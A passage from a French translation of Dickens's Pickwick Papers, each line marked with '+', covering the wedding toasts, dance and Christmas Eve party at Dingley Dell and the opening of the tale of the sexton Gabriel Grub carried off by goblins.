+«Mes chers amis, reprit M. Pickwick, je vais proposer la santé du marié
+et de la mariée, que Dieu les bénisse! (Larmes et applaudissements.) Mon
+jeune ami Trundle est, comme je crois, un excellent et brave jeune
+homme; et je sais que sa femme est une très-aimable et très-charmante
+fille, bien capable de transférer dans une autre sphère le bonheur
+qu'elle a répandu autour d'elle pendant vingt années dans la maison
+paternelle» (Ici le gros joufflu laissa éclater des pleurnicheries
+stentoriennes, et Sam, le saisissant par le collet, l'entraîna hors de
+la chambre.) «Je voudrais, poursuivit M. Pickwick, je voudrais être
+assez jeune pour devenir le mari de sa soeur. (Applaudissements.) Mais
+cela n'étant pas, je suis heureux de me trouver assez vieux pour être
+son père, afin de ne pas être soupçonné d'avoir quelques projets cachés
+si je dis que je les admire, que je les estime et que je les aime toutes
+les deux. (Applaudissements et sanglots.) Le père de la mariée, notre
+bon ami ici présent, est un noble caractère, et je suis orgueilleux de
+le connaître. (Grand tapage.) C'est un homme excellent, indépendant,
+affectueux, hospitalier, libéral. (Cris enthousiastes des pauvres
+parents à chacun de ces adjectifs, et spécialement aux deux derniers.)
+Puisse sa fille jouir de tout le bonheur que lui-même peut lui
+souhaiter, puisse-t-il trouver dans la contemplation de ce bonheur toute
+la satisfaction de coeur et d'esprit qu'il mérite si bien. Tels sont,
+j'en suis bien sûr, les voeux de chacun de nous. Buvons donc à leur
+santé, en leur souhaitant une longue vie et toutes sortes de
+prospérités.»
+
+M. Pickwick cessa de parler au milieu d'une tempête d'applaudissements.
+Les poumons des auxiliaires, sous le commandement de Sam, se faisaient
+surtout distinguer par leur active et solide coopération. Ensuite M.
+Wardle proposa la santé de M. Pickwick, et M. Pickwick celle de la
+vieille lady. M. Snodgrass proposa M. Wardle, et M. Wardle proposa M.
+Snodgrass. Un des pauvres parents proposa M. Tupman, l'autre pauvre
+parent proposa M. Winkle, et tout fut bonheur et festoiement, jusqu'au
+moment où la disparition mystérieuse des deux pauvres parents sous la
+table, avertit la compagnie qu'il était temps de se séparer.
+
+Sur la recommandation de M. Wardle, la partie masculine de la société
+entreprit une promenade de quatre ou cinq lieues, pour se débarrasser
+des fumées du vin et du déjeuner. Les pauvres parents seulement
+demeurèrent au lit, toute la journée, pour tâcher d'obtenir le même
+résultat; mais n'ayant pu y parvenir ils furent obligés d'en rester là.
+Cependant Sam entretenait les domestiques dans un état d'hilarité
+perpétuelle, et le gros joufflu charmait ses loisirs en mangeant et en
+dormant tour à tour.
+
+Aux larmes près, le dîner fut aussi affectueux que le déjeuner, et tout
+aussi bruyant; ensuite vint le dessert et de nouveaux toasts, puis le
+thé et le café, puis enfin le bal.
+
+Au bout d'une longue salle, garnie de sombres lambris, étaient assis,
+sous un berceau de houx et d'arbres verts, les deux meilleurs violons et
+l'unique harpe de Muggleton. Dans toutes espèces de recoins, et sur
+toutes sortes de supports, luisaient de vieux chandeliers d'argent
+massif. Le tapis était ôté, les bougies brillaient gaiement, le feu
+pétillait dans l'énorme cheminée, sur le chambranle de laquelle aurait
+pu rouler facilement un cabriolet de nos temps dégénérés. Des voix
+enjouées, des éclats de rires joyeux retentissaient dans toute la salle:
+enfin c'était justement l'endroit où les anciens _yeomen_ anglais,
+devenus lutins après leur mort, auraient aimé à donner une fête.
+
+Si quelque chose pouvait ajouter à l'intérêt de cette agréable
+cérémonie, c'était le fait remarquable que M. Pickwick apparut sans ses
+guêtres, pour la première fois de sa vie, s'il faut en croire ses plus
+anciens amis.
+
+«Vous vous proposez de danser? lui demanda M. Wardle.
+
+--Nécessairement; ne voyez-vous pas que je suis habillé pour cela,
+répondit-il, en faisant remarquer avec complaisance ses bas de soie
+chinés et ses fins escarpins.
+
+--Vous, en bas de soie! s'écria gaiement M. Tupman.
+
+--Et pourquoi pas, monsieur, pourquoi pas? rétorqua M. Pickwick avec
+chaleur, en se retournant vers son ami.
+
+--Oh! effectivement, répondit M. Tupman. Il n'y a aucune raison pour que
+vous n'en portiez pas.
+
+--Je le suppose, monsieur, je le suppose, dit M. Pickwick d'un ton
+péremptoire.»
+
+M. Tupman avait voulu rire, mais il s'aperçut que c'était un sujet
+sérieux. Il prit donc un air grave et déclara que les bas étaient d'un
+joli dessin.
+
+--Je l'espère, reprit le philosophe en regardant fixement son
+interlocuteur. Je me flatte, monsieur, que vous ne voyez rien
+d'extraordinaire dans ces bas, en tant que bas.
+
+--Non certainement. Oh! non certainement! se hâta de répondre M. Tupman.
+Il s'éloigna, et la contenance de M. Pickwick reprit l'expression
+bénévole qui lui était habituelle.
+
+--Nous sommes tous prêts, dit M. Pickwick, qui s'était placé avec la
+vieille lady à la tête de la danse, et qui avait déjà fait trois faux
+départs, dans son excessive impatience de commencer.
+
+--Allons, s'écria Wardle, maintenant!»
+
+Soudain sonnèrent les deux violons et la harpe, et vite partit M.
+Pickwick, les bras entrelacés avec sa danseuse; mais il fut interrompu
+par un battement de mains général et par des cris de «Arrêtez! arrêtez!
+
+--Qu'est-ce qu'il y a? demanda le philosophe qui n'avait pu être ramené
+à sa place, que lorsque les deux violons et la harpe eurent fait
+silence, et qui n'aurait été retenu par aucun autre pouvoir sur la
+terre, quand même la maison aurait été en feu.
+
+--Où est Arabella Allen? crièrent une douzaine de voix.
+
+--Et Winkle? ajouta M. Tupman.
+
+--Nous voici, s'écria M. Winkle, en sortant, avec son aimable compagne,
+d'une embrasure de fenêtre. Pendant qu'il disait ces mots, il aurait été
+difficile de décider lequel des deux était le plus rouge, lui ou la
+jeune lady aux yeux noirs.
+
+--C'est bien extraordinaire, Winkle, que vous ne puissiez pas prendre
+votre place! s'écria M. Pickwick avec dépit.
+
+--Pas du tout, répondit M. Winkle.
+
+--Oh! vous avez raison, reprit M. Pickwick, en reposant ses yeux sur
+Arabella, avec un sourire fort expressif. Vous avez raison; cela n'est
+pas extraordinaire, après tout.»
+
+Quoi qu'il en soit, on n'eut pas le temps de penser davantage à cette
+petite aventure, car les violons et la harpe commencèrent pour tout de
+bon. M. Pickwick s'élança aussitôt: Les mains croisées, promenade
+jusqu'à l'extrémité de la chambre, et au retour, jusqu'au milieu de la
+cheminée; poussée, de tous les côtés, de bruyants frappements de pieds
+sur le plancher. Au tour de l'autre couple. En route sur nouveaux frais.
+Toute la figure se répète, les frappements de pieds recommencent pour
+marquer la mesure. Un autre couple, et un autre, et un autre encore!
+Jamais on ne vit une danse aussi animée; et enfin, lorsque la vieille
+lady épuisée eut été remplacée par la femme du bénévole ecclésiastique,
+lorsque quatorze couples eurent fait la figure, lorsque M. Pickwick et
+sa nouvelle partner se trouvèrent à la queue des danseurs, on vit cet
+illustre savant, quoiqu'il n'eût aucun motif quelconque de faire tant
+d'efforts, continuer de danser perpétuellement à sa place, en souriant
+tout le temps à sa compagne, avec une douceur angélique et qui défie
+toute description.
+
+Longtemps avant que M. Pickwick fût fatigué de danser, les nouveaux
+mariés s'étaient éclipsés de la scène. Il y eut cependant, au
+rez-de-chaussée, un glorieux souper, et à la suite une longue séance
+autour de la table. Aussi M. Pickwick s'éveilla-t-il assez tard le
+lendemain. Il lui sembla alors se rappeler, d'une manière confuse, qu'il
+avait invité particulièrement et confidentiellement environ
+quarante-cinq personnes à dîner chez lui, au George et Vautour, la
+première fois qu'elles viendraient à Londres; ce qui, comme lui-même le
+pensa avec raison, indiquait d'une manière à peu près certaine, qu'il ne
+s'était pas contenté de danser la nuit précédente.
+
+Cependant la journée s'écoula joyeusement, et lorsque le soir fut venu,
+«Eh! bien, ma chère, demanda Sam à Emma, votre famille a donc des
+histoires dans la cuisine, à cette heure?
+
+--Oui, monsieur Weller, répondit Emma. C'est toujours comme cela la
+veille de Noël: notre maître ne négligerait pas les vieilles coutumes
+pour un empire.
+
+--Votre maître a une idée fort judicieuse, ma chère. Je n'ai jamais vu
+un homme aussi judicieux, un si véritable gentleman.
+
+--C'est bien vrai, dit le gros joufflu en se mêlant à la conversation.
+N'engraisse-t-il pas de beaux cochons?»
+
+Tandis que l'épais jouvenceau parlait ainsi, une étincelle
+semi-cannibale brillait dans ses yeux, au souvenir des pieds rôtis.
+
+«Oh! vous voilà réveillé à la fin,» lui dit Sam.
+
+Le gros joufflu fit un signe affirmatif.
+
+«Eh! bien, je vais vous dire, jeune boa constructeur, reprit Sam, d'un
+son de voix imposant: si vous ne dormez pas un petit peu moins, et si
+vous ne faites pas un petit peu plus d'exercice, quand vous arriverez à
+être un homme vous vous exposerez au même genre d'inconvénient personnel
+qui fut infligé sur le vieux gentleman qui portait une queue de rat.
+
+--Qu'est-ce donc qui lui est arrivé? demanda Joe d'une voix mal assurée.
+
+--C'est ce que je vas vous dire. Il était du plus large patron qui a
+jamais été inventé; un véritable homme gras, qui n'avait pas entrevu ses
+propres chaussures depuis quarante et cinq ans.
+
+--Bonté divine! s'écrie Emma.
+
+--Non, ma chère, pas une fois; et si vous aviez mis devant lui un modèle
+de ses propres jambes sur la table où il dînait, il ne les aurait pas
+reconnues. Il allait toujours à son bureau avec une très-belle chaîne
+d'or qui pendait, en dandinant, environ un pied et demi, et une montre
+d'or dans son gousset qui valait bien... j'ai peur de dire trop... mais
+autant qu'une montre peut valoir; une grosse montre ronde, aussi
+conséquente dans son espèce comme il était pour un homme. «Vous feriez
+mieux de ne pas porter cette montre ici, disaient les amis du gentleman,
+vous en serez volé.--Bah! qu'il dit.--Oui, disent-ils, vous le
+serez.--Bien, dit-il; j'aimerais à voir le voleur qui pourrait tirer
+cette montre ici, car je veux que Dieu me bénisse si je peux jamais la
+tirer moi-même, qu'il dit; elle est si serrée dans mon gousset que quand
+je veux savoir quelle heure-s-qu'il est, je suis obligé de regarder dans
+la boutique du boulanger, qu'il dit.--Pour lors, en disant ça il riait
+de si bon coeur qu'on avait peur de le voir éclater. Il sort avec sa tête
+poudrée et sa queue de rat, vlà qu'il roule sa bosse dans le Strand avec
+sa chaîne dandinant plus que jamais, et la grosse montre qui crevait
+presque son pantalon. Il n'y avait pas un filou dans tout Londres qui
+n'eût pas tiré à cette chaîne; mais la chaîne ne voulait jamais se
+casser et la montre ne voulait pas sortir. Ainsi ils se fatiguaient bien
+vite de traîner un gros homme comme ça sur le pavé, et l'autre s'en
+retournait chez lui, et il riait tant que sa queue de rat se trémoussait
+comme le pendule d'un vieux coucou. A la fin, un jour, il roulait
+tranquillement; vlà qu'il voit un filou qu'il connaissait de vue, bras
+dessus, bras dessous avec un petit moutard qui avait une très-grosse
+tête.--En voilà une farce, que le vieux gentleman se dit en lui-même:
+ils vont s'essayer encore un coup, mais ça ne prendra pas. Ainsi il
+commence à ricaner bien joyeusement, quand tout d'un coup le petit
+garçon quitte le bras du filou et se jette la tête la première droit
+dans l'estomac du vieux gentleman, si fort qu'il le fait doubler en deux
+par la douleur. Il se met à crier oh là! là! mais le filou lui dit tout
+bas à l'oreille: Le tour est fait, monsieur, et quand il se redresse la
+montre et la chaîne avaient fichu le camp, et ce qu'il y a de plus pire,
+la digestion du vieux gentleman a toujours été embrouillée après ça,
+pour tout le reste de sa vie naturelle.--Ainsi faites attention à vous,
+mon jeune gaillard, et prenez garde que vous ne deveniez pas trop gras.»
+
+Lorsque Sam eut conclu ce récit moral, dont le gros joufflu parut fort
+affecté, nos trois personnages se rendirent dans la cuisine.
+
+C'était une vaste pièce où se trouvait rassemblée toute la famille,
+suivant la coutume annuellement observée, depuis un temps immémorial,
+par les ancêtres de M. Wardle. Il venait de suspendre de ses propres
+mains, au milieu du plafond, une énorme branche de gui[31], qui donna
+instantanément naissance à une scène délicieuse de luttes et de
+confusion. Au milieu du désordre, M. Pickwick, avec une galanterie qui
+aurait fait honneur à un descendant de lady Tollimglower elle-même, prit
+la vieille lady par la main, la conduisit sous l'arbuste mystique, et
+l'embrassa avec courtoisie et décorum. La vieille dame se soumit à cet
+acte de politesse avec la dignité qui convenait à une solennité si
+importante et si sérieuse; mais les jeunes ladies, n'étant point aussi
+profondément imbues d'une superstitieuse vénération pour cette coutume,
+ou s'imaginant que la saveur d'un baiser est singulièrement relevée
+quand on a un peu de peine à l'obtenir, criaient, se débattaient,
+couraient dans tous les coins, faisaient des menaces et des
+remontrances, faisaient tout, enfin, excepté de quitter la chambre, et
+luttaient ainsi jusqu'au moment où les gentlemen les moins aventureux
+paraissaient sur le point de renoncer à leur entreprise. Tout d'un coup,
+alors, elles s'apercevaient qu'il était inutile de résister plus
+longtemps, et se soumettaient de bonne grâce à être embrassées. M.
+Winkle embrassa la jeune demoiselle aux yeux noirs; M. Snodgrass
+embrassa Émily; les pauvres parents embrassaient tout le monde, sans en
+excepter les jeunes ladies les plus laides, qui, dans leur excessive
+confusion se précipitaient justement sous le gui, sans le savoir. Quant
+à Sam, ne croyant point à la nécessité d'être sous l'arbuste sacré, il
+embrassait Emma et les autres servantes quand il pouvait les attraper.
+Cependant M. Wardle se tenait debout prés de la cheminée, le dos au feu,
+considérant cette scène avec la plus grande satisfaction, tandis que le
+gros joufflu profitait de l'occasion pour dévorer sommairement un
+admirable petit pâté de Noël, qui avait été soigneusement mis de côté
+par quelque autre personne.
+
+[Footnote 31: Aux fêtes de Noël, on a coutume de suspendre une branche
+de houx dans la salle de réunion, et quiconque peut entraîner une dame
+sous la branche a le droit de l'embrasser.]
+
+Enfin les cris s'étaient apaisés, les visages étaient couverts de
+rougeur, les cheveux pendaient défrisés, et M. Pickwick, après avoir
+embrassé la vieille dame, comme nous l'avons dit plus haut, était resté
+debout sous le gui, regardant avec une physionomie riante ce qui se
+passait autour de lui. Tout d'un coup, la jeune demoiselle aux yeux
+noirs, après quelques chuchotements avec les autres jeunes personnes,
+s'élança vers M. Pickwick, lui jeta ses bras autour du cou, et le baisa
+tendrement sur la joue gauche. Aussitôt toute la troupe des jeunes
+ladies entoura le savant philanthrope, et avant qu'il eût eu le temps de
+se reconnaître et de savoir de quoi il s'agissait, il fut baisé par
+chacune d'elles.
+
+C'était un gracieux spectacle de voir M. Pickwick au centre de ce
+groupe, tantôt tiré d'un côté, tantôt de l'autre; baisé, d'abord sur le
+menton, puis sur le nez, puis sur ses lunettes, et d'entendre les éclats
+de rire qui retentissaient de toutes parts. Mais bientôt après ce fut un
+spectacle plus charmant encore, de voir M. Pickwick, les yeux couverts
+d'un mouchoir de soie, se précipiter sur les murailles, s'embarraser
+dans les coins, et accomplir, enfin, avec délices, tous les mystères de
+colin-maillard, jusqu'au moment où il attrapa l'un des pauvres parents.
+A son tour, alors, il s'occupa d'éviter le colin-maillard, et il s'en
+acquitta avec une agilité et une prestesse qui arrachèrent des
+applaudissements aux assistants. Les pauvres parents attrapaient
+précisément les gens à qui ils supposaient que cela serait agréable, et
+se laissaient prendre, par hasard, lorsque quelqu'un trimait trop
+longtemps.
+
+Quand tout le monde fut fatigué de colin-maillard on alluma un grand
+_snap-dragon_[32], et lorsqu'on se fut suffisamment brûlé les doigts, on
+s'assit auprès d'un énorme feu de troncs enflammés, et autour d'un
+souper substantiel.
+
+[Footnote 32: Un _snap-dragon_ est un plat de noisettes, de raisins,
+etc., plongés dans une légère quantité d'eau-de-vie allumée, dont il
+s'agit de les retirer sans se brûler.]
+
+«Ceci, dit M. Pickwick, en regardant autour de lui, ceci, en vérité, est
+du confort.
+
+--C'est notre coutume invariable, répondit M. Wardle. Tout le monde,
+domestiques et travailleurs, s'assoit à notre table la veille de Noël,
+comme vous le voyez. Nous restons ici à conter de vieilles histoires
+jusqu'à ce que minuit sonne et nous annonce l'arrivée de la
+fête.--Trundle, mon garçon, attisez le feu.»
+
+Des myriades d'étincelles brillantes pétillèrent dans les airs, lorsque
+les troncs d'arbre furent remués, et la flamme rouge qui s'en éleva
+répandit une chaude lumière, qui pénétra dans les coins les plus
+éloignés de la chambre, et illumina tous les visages.
+
+--Allons, dit Wardle, une chanson; une chanson de Noël. Je vous en
+chanterai une, à défaut de meilleure.
+
+--Bravo, s'écria M. Pickwick.
+
+--Remplissez les verres, reprit Wardle, il se passera bien deux heures
+avant que vous voyiez le fond de ce bol. Remplissez à la ronde; et
+maintenant, la chanson.»
+
+A ces mots le joyeux vieillard entonna, sans plus de cérémonie, d'une
+voix forte et franche, la chanson que voici:
+
+NOËL.
+
+    J'aime peu le printemps; sur son aile inconstante.
+    Il apporte, il est vrai, les boutons et les fleurs,
+    Mais ce qu'épanouit son haleine enivrante,
+    Il le brûle aussitôt par ses folles rigueurs.
+    Sylphe capricieux, ignorant ce qu'il aime,
+    Il change, en un moment, d'aspect et de vouloir,
+    Il vous sourit, vous berce, et puis à l'instant même,
+    Il brise, dans sa fleur, votre naissant espoir.
+
+    J'aime peu de l'été le soleil magnifique.
+    Quand il darde sur nous ses rayons énervants,
+    Il enfante souvent la fièvre frénétique,
+    La rage, et de l'amour les douloureux tourments.
+    Je pourrais préférer le nuit calme et glacée,
+    Qui suit, modestement, un beau jour de moisson;
+    Mais la feuille qui tombe attriste ma pensée,
+    Et l'automne n'est point encore ma saison.
+
+    Je préfère Noël, le gentleman antique,
+    Qui ramène l'hiver et les festins joyeux;
+    Vidons en son honneur, dans la salle gothique,
+    D'innombrables flacons de nos vins les plus vieux!
+    Noël est le gardien des vertus domestiques,
+    Le plus doux souvenir de nos vieilles maisons.
+    Pousses donc avec moi trois hourras sympathiques,
+    Pour saluer le Roi de toutes les saisons!
+
+Cette chanson fut accueillie par un tonnerre d'applaudissements. Un
+auditoire composé d'amis et de serviteurs est toujours si bénévole! Les
+parents pauvres, surtout, tombaient dans de véritables extases de
+ravissement.
+
+Le feu fut garni de nouveaux troncs, et le bol accomplit une ronde
+nouvelle.
+
+«Comme il neige, dit un des hommes à voix basse.
+
+--Comment! il neige? répéta Wardle.
+
+--Oui, monsieur, la nuit est noire et froide. Le vent vient de se lever,
+et il fouette la neige en tourbillons dans la plaine.
+
+--Qu'est-ce qu'il dit donc? demanda la vieille lady; est-ce qu'il est
+arrivé quelque chose?
+
+--Non, non, maman. Il dit qu'il neige et que le vent souffle fort; et il
+a raison, car on entend un fameux tapage dans la cheminée.
+
+--Ha! reprit la vieille dame, il faisait un vent comme cela, et il
+tombait aussi de la neige, il y a bien des années.... Attendez, que je
+me rappelle.... juste cinq ans avant la mort de votre pauvre père.
+C'était la veille de Noël aussi, et je me souviens qu'il nous raconta
+l'histoire du vieux Gabriel Grub, qui a été enlevé par les goblins[33].
+
+[Footnote 33: Espèce de lutins.]
+
+--L'histoire de qui? demanda M. Pickwick avec curiosité.
+
+--Oh! rien, répliqua M. Wardle. L'histoire d'un vieux sacristain, que
+les bonnes gens d'ici supposent avoir été emporté par les goblins.
+
+--Supposent! s'écria la vieille lady. Y a-t-il quelqu'un d'assez
+téméraire pour en douter? Supposent! N'avez-vous pas toujours entendu
+dire, depuis votre enfance, qu'il a été emporté par les goblins, et ne
+savez-vous pas que c'est la vérité?
+
+--Très-bien, maman, répliqua M. Wardle, en riant, il fut emporté si vous
+voulez.--Il fut emporté par les goblins, Pickwick, et voilà toute
+l'histoire.
+
+--Non pas, non pas, je vous assure, reprit M. Pickwick. Ce n'est pas
+toute l'histoire, car il faut que j'apprenne comment il fut enlevé, et
+pourquoi, et les tenants et les aboutissants.»
+
+M. Wardle sourit, en voyant toutes les têtes se pencher pour l'écouter.
+Ayant donc rempli son verre d'une main libérale, il porta une santé à M.
+Pickwick, par un geste familier, et commença ainsi qu'il suit....
+
+Mais que Dieu bénisse notre cerveau d'éditeur. A quel long chapitre nous
+sommes-nous laissé entraîner! Nous le déclarons solennellement, nous
+avions complétement oublié toutes ces petites entraves qu'on appelle
+_chapitres_. C'est égal: nous allons donner le champ libre aux revenants
+en leur ouvrant un nouveau chapitre. Point de passe-droits à leur
+préjudice, s'il vous plaît, messieurs et mesdames.
+
+
+
+
+CHAPITRE XXIX.
+
+Histoire du sacristain emporté par les goblins.
+
+
+Dans une vieille ville abbatiale de ce comté, vivait, il y a bien
+longtemps; si longtemps, que l'histoire doit être vraie, puisque tous
+nos pères, grand-pères et arrière-grand-pères l'ont crue pieusement,
+vivait, dis-je, un certain Gabriel Grub, qui remplissait les fonctions
+de sacristain et de fossoyeur. Parce qu'un homme est sacristain et
+constamment entouré d'emblèmes de mort, il ne s'ensuit pas du tout qu'il
+doive être morose et mélancolique. Les entrepreneurs des pompes funèbres
+sont les gens les plus gais du monde, et j'avais autrefois l'honneur
+d'être intime avec un _muet_[34], lequel, hors de ses fonctions et dans
+la vie privée, était le plus comique, le plus jovial petit gaillard qui
+ait jamais braillé une chanson bachique, sans le moindre hoquet de
+mémoire, ou avalé un rude verre de grog, sans s'arrêter pour reprendre
+haleine. Toutefois il n'en était pas ainsi de Gabriel Grub. C'était une
+espèce de vieux hibou, grognon, rechigné, hargneux; ne se plaisant avec
+personne, si ce n'est avec une grosse bouteille d'osier, aussi vieille
+que lui, qu'il portait fidèlement enfoncée dans une large poche. Lorsque
+par hasard les yeux caverneux du sacristain apercevaient une physionomie
+heureuse, son regard se chargeait à l'instant même d'une expression de
+haine si malfaisante, qu'on ne pouvait le rencontrer sans en être tout
+bouleversé.
+
+[Footnote 34: _Designator_, l'homme qui dirige les assistants dans les
+cérémonies funèbres.
+
+(_Note du traducteur_.)]
+
+Une certaine veille de Noël, un peu avant le crépuscule, Gabriel mit sa
+bêche sur son épaule, alluma sa lanterne, et se dirigea vers le
+cimetière; il avait une fosse à finir pour le lendemain matin, et, se
+sentant mal disposé, il espérait se ragaillardir un peu en y
+travaillant. Pendant qu'il cheminait dans la rue étroite, il voyait
+briller, à travers la plupart des fenêtres, la lumière joyeuse d'un feu
+pétillant; il entendait les éclats de rire et les cris plaisants de ceux
+qui étaient réunis autour du foyer; il remarquait les préparatifs de
+bonne chère qui se faisaient pour le lendemain; enfin il sentait les
+succulentes odeurs qui s'exhalaient des cuisines en nuages savoureux.
+Tout cela était du fiel et de l'absinthe sur le coeur de Gabriel Grub; et
+lorsque des troupes d'enfants, s'élançant hors des maisons, bondissaient
+à travers les rues pour rejoindre d'autres petits coquins, aux têtes
+bouclées, qui chantaient en riant les plaisirs de la veille de Noël,
+Gabriel serrait convulsivement le manche de sa bêche, et ricanait
+sardoniquement, en pensant aux rougeoles, aux coqueluches, aux fièvres
+scarlatines, au croup, et encore à beaucoup d'autres sources de
+consolation.
+
+Dans cette heureuse disposition d'esprit, Gabriel poursuivait son
+chemin, répondant par un grognement bref et triste au salut cordial des
+voisins qu'il rencontrait, jusqu'à ce qu'enfin il tourna dans la sombre
+ruelle qui menait au cimetière. Or, il avait attendu avec impatience
+l'instant d'y arriver, parce que c'était un endroit selon son coeur,
+toujours lugubre et funèbre, et dans lequel les gens de la ville
+n'aimaient pas à s'aventurer si ce n'est en plein jour, quand le soleil
+brillait. Gabriel ne fut donc pas légèrement indigné d'entendre une voix
+d'enfant, qui répétait un joyeux Noël, dans cette espèce de sanctuaire,
+appelé la ruelle aux bières, depuis le temps de la gothique abbaye et
+des moines tonsurés. Comme le sacristain continuait de marcher, et que
+la voix s'approchait de plus en plus, il reconnut qu'elle provenait d'un
+petit garçon, qui se hâtait de rejoindre les enfants de la grande rue,
+et qui, partie pour se donner du courage, partie pour se mettre en
+train, chantait à gorge déployée une vieille chanson. Gabriel attendit
+que le bambin fût près de lui, et le poussant dans un coin, il lui
+administra cinq ou six tapes avec sa lanterne, seulement pour lui
+apprendre à moduler en mesure. L'enfant s'enfuit avec ses mains sur sa
+tête, chantant sur un ton fort différent, et Gabriel Grub, en ricanant
+de tout son coeur, entra dans le cimetière, dont il ferma la porte
+derrière lui.
+
+Il ôta son habit, posa par terre sa lanterne, descendit dans la fosse
+commencée, et travailla vigoureusement pendant une heure environ. Mais
+la terre était durcie par la gelée, et il n'était pas facile de la
+couper, ni de la jeter dehors. D'ailleurs, quoiqu'il y eût de la lune,
+c'était une lune fort jeune, et elle n'éclairait pas la fosse, qui se
+trouvait à l'ombre de l'abbaye. Dans tout autre temps, ces inconvénients
+auraient rendu Gabriel très-chagrin et très-misérable, mais il était si
+satisfait d'avoir interrompu la sérénade du petit garçon, qu'il ne
+s'inquiéta pas beaucoup du peu de progrès qu'il faisait. Lorsqu'il eut
+fini son travail, il examina la fosse avec une sombre satisfaction, et
+en ramassant ses outils, il grommelait entre ses dents:
+
+    C'est un logement fort honnête
+    Pour un modeste trépassé;
+    Quelques pieds de terrain glacé,
+    Avec une pierre à la tête;
+    Pour couverture un beau gazon,
+    Pour matelas la terre humide:
+    Quand on est là tout de son long,
+    On n'y sent jamais aucun vide;
+    On est toujours bien entouré,
+    Des milliers de vers vous font fête....
+    C'est un logement fort honnête
+    Surtout dans un terrain sacré.
+
+Gabriel riait tout seul en s'asseyant sur une tombe plate, qui était son
+lieu de repos favori. Il tira sa bouteille d'eau-de-vie en grommelant:
+«Une fosse à Noël! En voilà une fête! ho! ho! ho!
+
+--Ho! ho! ho!» répéta une voix derrière lui.
+
+Gabriel laissa retomber le bras qui portait la bouteille à ses lèvres,
+et regarda alentour avec inquiétude; mais le silence et le calme de la
+tombe régnaient dans tout le cimetière. Aux pâles rayons de la lune, la
+gelée blanche argentait les pierres tumulaires et brillait, en rangées
+de perles, sur les arceaux sculptés de la vieille église; la neige, dure
+et craquante, formait sur les monticules pressés une couverture si
+blanche et si unie, qu'on aurait pu croire que les cadavres étaient là,
+enveloppés seulement dans leur blanc linceul; nul souffle de vent ne
+troublait le repos de cette scène solennelle; le son même paraissait
+gelé, tant les objets environnants étaient froids et tranquilles.
+
+«C'était l'écho,» dit Gabriel en portant de nouveau la bouteille à ses
+lèvres.
+
+Une voix creuse articula près de lui: «Ce n'était pas l'écho.»
+
+Gabriel tressaillit et se leva; mais l'étonnement et la terreur
+l'enchaînèrent à sa place, son sang se figea dans ses veines, car, tout
+auprès de lui, se trouvait un être d'une apparence étrange,
+surnaturelle, et qui venait évidemment d'un autre monde. Il était assis
+sur une haute pierre levée, et avait croisé ses longues jambes grêles
+d'une manière fantasque, impossible; ses bras nus faisaient anse, et ses
+mains reposaient sur ses genoux. Ses souliers à la poulaine se
+recourbaient en longues pointes; un justaucorps tailladé étranglait son
+petit corps rond; à son dos pendait un court manteau, dont le collet,
+curieusement découpé en étroites lanières, lui servait de fraise ou, si
+l'on veut, de cravate; sur sa tête, il portait un chapeau pointu, à
+grands bords, garni d'une seule plume, et ce chapeau était si bien
+couvert de gelée blanche, l'être fantastique était si confortablement
+assis sur cette tombe, qu'il avait l'air d'y être installé depuis deux
+cents ans, pour le moins. Il se tenait parfaitement immobile; mais il
+tirait la langue d'un demi-pied pour se moquer de Gabriel, et il
+ricanait d'un ricanement que des goblins[35] seuls peuvent exécuter.
+
+[Footnote 35: Espèce de lutin anglais.]
+
+«Ce n'était pas l'écho,» dit le lutin.
+
+Gabriel était paralysé.
+
+«Qu'est-ce que vous faites ici, la veille de Noël? demanda le goblin
+sévèrement.
+
+--Monsieur, balbutia Gabriel, je suis venu ici pour creuser une fosse.
+
+--Qui donc se promène parmi des tombes dans une nuit comme celle-ci?
+s'écria le goblin d'un ton sépulcral.
+
+--Gabriel Grub! Gabriel Grub!» répondirent en choeur des voix aiguës et
+sauvages qui semblaient remplir le cimetière. Gabriel regarda avec
+terreur autour de lui, mais il ne vit rien.
+
+--Qu'est-ce que vous avez dans cette bouteille? demanda le goblin.
+
+--Du genièvre, monsieur, répliqua le sacristain en tremblant plus fort
+que jamais, car il l'avait acheté des contrebandiers, et il pensait que
+le personnage qui l'interrogeait était peut-être dans la douane des
+goblins.
+
+--Qui donc boit tout seul du genièvre au milieu d'un cimetière et dans
+une nuit comme celle-ci? reprit le lutin solennellement.
+
+--Gabriel Grub! Gabriel Grub!» crièrent de nouveau les voix sauvages.
+
+Le goblin ricana malicieusement en lorgnant le sacristain épouvanté;
+puis, enflant sa voix comme un ouragan, il s'écria: «Qui devient ainsi
+notre proie légitime?»
+
+Le choeur invisible répondit encore à cette demande, et le sacristain
+crut entendre une multitude d'enfants de choeur mêler leurs chants aux
+accords majestueux des orgues de la vieille abbaye. C'était une musique
+surnaturelle qui semblait portée par un doux zéphyr, et qui passait et
+mourait avec lui; mais le refrain de cet air mystérieux était toujours
+le même, et répétait encore: «Gabriel Grub! Gabriel Grub!»
+
+Le goblin fendit sa bouche jusqu'à ses oreilles en disant: «Que
+pensez-vous de ceci, Gabriel?»
+
+Gabriel ne répondit que par un soupir.
+
+«Que pensez-vous de ceci, Gabriel?» répéta le goblin en dressant
+négligemment ses pieds en l'air, de chaque côté de la tombe, et en
+examinant la pointe relevée de sa chaussure avec autant de complaisance
+que si ç'avait été la paire de bottes la plus fashionable de
+Bond-Street.
+
+«C'est.... c'est.... très-curieux, monsieur, répondit le sacristain, à
+moitié mort de peur. Très-curieux et très-joli...; mais je pense qu'il
+faut que j'aille finir mon ouvrage, s'il vous plaît.
+
+--Quel ouvrage? demanda le goblin.
+
+--Ma fosse, monsieur, la fosse que j'ai commencée, balbutia le
+sacristain.
+
+--Ah! votre fosse, ah! Qui donc s'amuse à creuser des fosses dans un
+temps où tous les autres hommes ne songent qu'à se réjouir?»
+
+Les voix mystérieuses répliquèrent encore: «Gabriel Grub! Gabriel Grub!
+
+--J'ai peur que mes amis ne puissent pas se séparer de vous, Gabriel,
+dit le goblin en fourrant dans sa joue sa langue énorme! J'ai peur que
+mes amis ne puissent pas se séparer de vous, Gabriel!
+
+--Sous votre bon plaisir, monsieur, répliqua le sacristain terrifié, je
+ne le pense pas, monsieur; ils ne me connaissent pas, monsieur. Je ne
+crois pas que ces illustres gentlemen m'aient jamais vu, monsieur.
+
+--Oh! que si, reprit le goblin, nous le connaissons tous l'homme au
+visage sombre, au regard sinistre, qui traversait la rue ce soir en
+jetant _un mauvais oeil_ aux enfants et en serrant plus fort sa bêche de
+fossoyeur. Nous connaissons l'homme plein d'envie et de malice, qui a
+cassé la tête d'un bambin parce qu'il était heureux, et que cet homme ne
